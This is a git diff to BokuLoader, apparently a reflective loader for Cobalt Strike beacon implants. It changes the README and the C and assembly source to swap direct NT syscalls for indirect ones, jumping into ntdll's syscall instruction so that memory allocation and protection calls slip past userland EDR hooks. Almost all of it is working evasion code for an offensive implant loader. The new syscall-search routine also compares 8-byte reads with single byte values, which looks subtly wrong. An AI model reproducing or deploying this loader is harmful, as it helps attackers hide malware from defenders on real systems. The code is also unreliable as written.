diff --git a/README.md b/README.md index ab2aa7b..421f22f 100644 --- a/README.md +++ b/README.md @@ -23,8 +23,8 @@ _Before using this project, in any form, you should properly test the evasion fe ### BokuLoader Specific Evasion Features - Custom ASM/C reflective loader code -- Direct NT syscalls via HellsGate & HalosGate techniques - - All memory protection changes for all allocation options are done via direct syscall to `NtProtectVirtualMemory` +- Indirect NT syscalls via HellsGate & HalosGate techniques + - All memory protection changes for all allocation options are done via indirect syscall to `NtProtectVirtualMemory` - `obfuscate "true"` with custom UDRL Aggressor script implementation. - NOHEADERCOPY - Loader will not copy headers raw beacon DLL to virtual beacon DLL. First `0x1000` bytes will be nulls. @@ -109,12 +109,12 @@ _Before using this project, in any form, you should properly test the evasion fe ### Sleepmask Detection - If sleepmask kit is used, there exists detection methods for this independent memory allocation [as detailed by MDSec here](https://www.mdsec.co.uk/2022/07/part-2-how-i-met-your-beacon-cobalt-strike/) -### Direct Syscalls -+ BokuLoader calls the following NT systemcalls to setup the loaded executable beacon memory: `NtAllocateVirtualMemory`, `NtProtectVirtualMemory`, `NtFreeVirtualMemory` -+ These are called directly from the BokuLoader executable memory. These system calls are not backed by NTDLL memory. +### Indirect Syscalls ++ BokuLoader calls the following NT systemcalls to setup the loaded executable beacon memory: `NtAllocateVirtualMemory`, `NtProtectVirtualMemory` ++ These are called indirectly from the BokuLoader executable memory. + Setting userland hooks in `ntdll.dll` will not detect these systemcalls. -+ It may be possible to register kernelcallbacks using a kernel driver to monitor for the above system calls and detect their usage when they are not called from `ntdll.dll`. -+ The BokuLoader itself will contain the `mov eax, r11d; syscall; ret` assembly instructions within its executable memory. ++ It may be possible to register kernelcallbacks using a kernel driver to monitor for the above system calls and detect their usage. ++ The BokuLoader itself will contain the `mov eax, r11d; mov r11, r10; mov r10, rcx; jmp r11` assembly instructions within its executable memory. ### Virtual Beacon DLL Header - The first `0x1000` bytes of the virtual beacon DLL are zeros. diff --git a/src/BokuLoader.c b/src/BokuLoader.c index 251c3dc..d73057e 100644 --- a/src/BokuLoader.c +++ b/src/BokuLoader.c @@ -54,7 +54,7 @@ void * BokuLoader() size = raw_beacon_dll.size + 0x2000; oldprotect = 0; // NtProtectVirtualMemory syscall - HellsGate(getSyscallNumber(api.pNtProtectVirtualMemory)); + HellsGate(getSyscallNumber(api.pNtProtectVirtualMemory), api.pNtProtectVirtualMemory); ((tNtProt)HellDescent)(NtCurrentProcess(), &base, &size, raw_beacon_dll.BeaconMemoryProtection, &oldprotect); // Have to zero out the memory for the DLL memory to become a private copy, else unwritten memory in beacon DLL can cause a crash. RtlSecureZeroMemory(base,size); @@ -70,7 +70,7 @@ void * BokuLoader() if(base){ oldprotect = 0; virtual_beacon_dll.dllBase = base; - HellsGate(getSyscallNumber(api.pNtProtectVirtualMemory)); + HellsGate(getSyscallNumber(api.pNtProtectVirtualMemory), api.pNtProtectVirtualMemory); ((tNtProt)HellDescent)(NtCurrentProcess(), &base, &size, raw_beacon_dll.BeaconMemoryProtection, &oldprotect); } } @@ -82,7 +82,7 @@ void * BokuLoader() if(base){ oldprotect = 0; virtual_beacon_dll.dllBase = base; - HellsGate(getSyscallNumber(api.pNtProtectVirtualMemory)); + HellsGate(getSyscallNumber(api.pNtProtectVirtualMemory), api.pNtProtectVirtualMemory); ((tNtProt)HellDescent)(NtCurrentProcess(), &base, &size, raw_beacon_dll.BeaconMemoryProtection, &oldprotect); } } @@ -91,7 +91,7 @@ void * BokuLoader() // Allocate new memory to write our new RDLL too base = NULL; size = raw_beacon_dll.size; - HellsGate(getSyscallNumber(api.pNtAllocateVirtualMemory)); + HellsGate(getSyscallNumber(api.pNtAllocateVirtualMemory), api.pNtAllocateVirtualMemory); ((tNtAlloc)HellDescent)(NtCurrentProcess(), &base, 0, &size, MEM_RESERVE|MEM_COMMIT, raw_beacon_dll.BeaconMemoryProtection); RtlSecureZeroMemory(base,size); // Zero out the newly allocated memory @@ -115,7 +115,7 @@ void * BokuLoader() size = virtual_beacon_dll.TextSectionSize; newprotect = PAGE_EXECUTE_READ; // NtProtectVirtualMemory syscall - HellsGate(getSyscallNumber(api.pNtProtectVirtualMemory)); + HellsGate(getSyscallNumber(api.pNtProtectVirtualMemory), api.pNtProtectVirtualMemory); ((tNtProt)HellDescent)(NtCurrentProcess(), &base, &size, newprotect, &oldprotect); } @@ -1126,17 +1126,39 @@ __asm__( "pop rdi \n" "ret \n" -"HellsGate: \n" // Loads the Syscall number into the R11 register before calling HellDescent() - "xor r11, r11 \n" - "mov r11d, ecx \n" // Save Syscall Number in R11 - "ret \n" +"HellsGate: \n" // Loads the Syscall number into the R11 register before calling HellDescent() + "xor r11, r11 \n" + "mov r11d, ecx \n" // Save Syscall Number in R11 + "push rdx \n" + "pop rcx \n" // Save NtApi address in RCX + "call GetSyscallAddress \n" + "mov r10, rcx \n" //Save syscall address in R10 + "ret \n" -"HellDescent: \n" // Called directly after HellsGate - "xor rax, rax \n" - "mov r10, rcx \n" - "mov eax, r11d \n" // Move the Syscall Number into RAX before calling syscall interrupt - "syscall \n" - "ret \n" +"HellDescent: \n" // Called directly after HellsGate + "xor rax, rax \n" + "mov eax, r11d \n" // Move the Syscall Number into RAX + "mov r11, r10 \n" // Move the syscall address to R11 + "mov r10, rcx \n" + "jmp r11 \n" + +"GetSyscallAddress: \n" // Get the syscall address by byte by byte checking + "mov edx, 25 \n" +"find_syscall_address_loop: \n" + "mov r10, [rcx+rdx-1] \n" + "cmp r10, 0x05 \n" + "jne find_syscall_address_next \n" + "mov r10, [rcx+rdx-2] \n" + "cmp r10, 0x0F \n" + "jne find_syscall_address_next \n" + "lea rcx, [rcx+rdx-2] \n" + "mov rax, rcx \n" + "ret \n" +"find_syscall_address_next: \n" + "dec edx \n" + "jnz find_syscall_address_loop \n" + "xor rax, rax \n" + "ret \n" "getFirstEntry: \n" // RAX, RCX "mov rax, gs:[0x60] \n" // ProcessEnvironmentBlock // GS = TEB diff --git a/src/BokuLoader.h b/src/BokuLoader.h index 2218439..18e59f2 100644 --- a/src/BokuLoader.h +++ b/src/BokuLoader.h @@ -308,8 +308,9 @@ void * getRip(void); unsigned int copyWithDelimiter(void * dst, void * src, unsigned int n, CHAR delimiter); void xorc(unsigned __int64 length, unsigned char * buff, unsigned char maskkey); +void GetSyscallAddress(void * ntdllApiAddr); unsigned long findSyscallNumber(void * ntdllApiAddr); -unsigned long HellsGate(unsigned long wSystemCall); +unsigned long HellsGate(unsigned long wSystemCall, void * ntdllApiAddr); void HellDescent(void); unsigned long halosGateDown(void * ntdllApiAddr, unsigned long index); unsigned long halosGateUp(void * ntdllApiAddr, unsigned long index);